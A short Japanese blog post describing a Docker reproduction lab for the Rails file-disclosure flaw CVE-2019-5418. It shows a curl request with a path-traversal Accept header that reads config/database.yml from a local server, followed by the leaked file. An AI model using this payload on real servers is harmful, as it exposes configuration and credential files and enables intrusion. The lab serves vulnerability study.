CVE-2019-5418の実行環境を作った
- Mar 30, 2019
- Rails
RailsのCVE-2019-5418の再現環境をサクッと作って実際に挙動を試してみた。
他に作ってる人はいたが、Docker化されていなかったのでやった。
repo: takeokunn/CVE-2019-5418
以下を実行すると Rails/MySQL/Nginx
が立ち上がる:
$ git clone https://github.com/takeokunn/CVE-2019-5418
$ cd https://github.com/takeokunn/CVE-2019-5418
$ docker-compose up
~/D/CVE-2019-5418 (*´ω`*) < curl localhost/sandbox -H 'Accept: ../../config/database.yml{{'
# MySQL. Versions 5.1.10 and up are supported.
#
# Install the MySQL driver
# gem install mysql2
#
# Ensure the MySQL gem is defined in your Gemfile
# gem 'mysql2'
#
# And be sure to use new-style password hashing:
# https://dev.mysql.com/doc/refman/5.7/en/password-hashing.html
#
default: &default
adapter: mysql2
encoding: utf8mb4
charset: utf8mb4
collation: utf8mb4_general_ci
reconnect: false
pool: 5
username: <%= ENV["DATABASE_USERNAME"] %>
password: <%= ENV["DATABASE_PASSWORD"] %>
database: <%= ENV["DATABASE_NAME"] %>
host: <%= ENV["DATABASE_HOST"] %>
port: <%= ENV["DATABASE_PORT"] %>
development:
<<: *default
test:
<<: *default
database: <%= ENV["TEST_DATABASE_NAME"] %>
username: <%= ENV["TEST_DATABASE_USERNAME"] %>
password: <%= ENV["TEST_DATABASE_PASSWORD"] %>
host: <%= ENV["TEST_DATABASE_HOST"] %>
port: <%= ENV["TEST_DATABASE_PORT"] %>
production:
<<: *default
参考記事: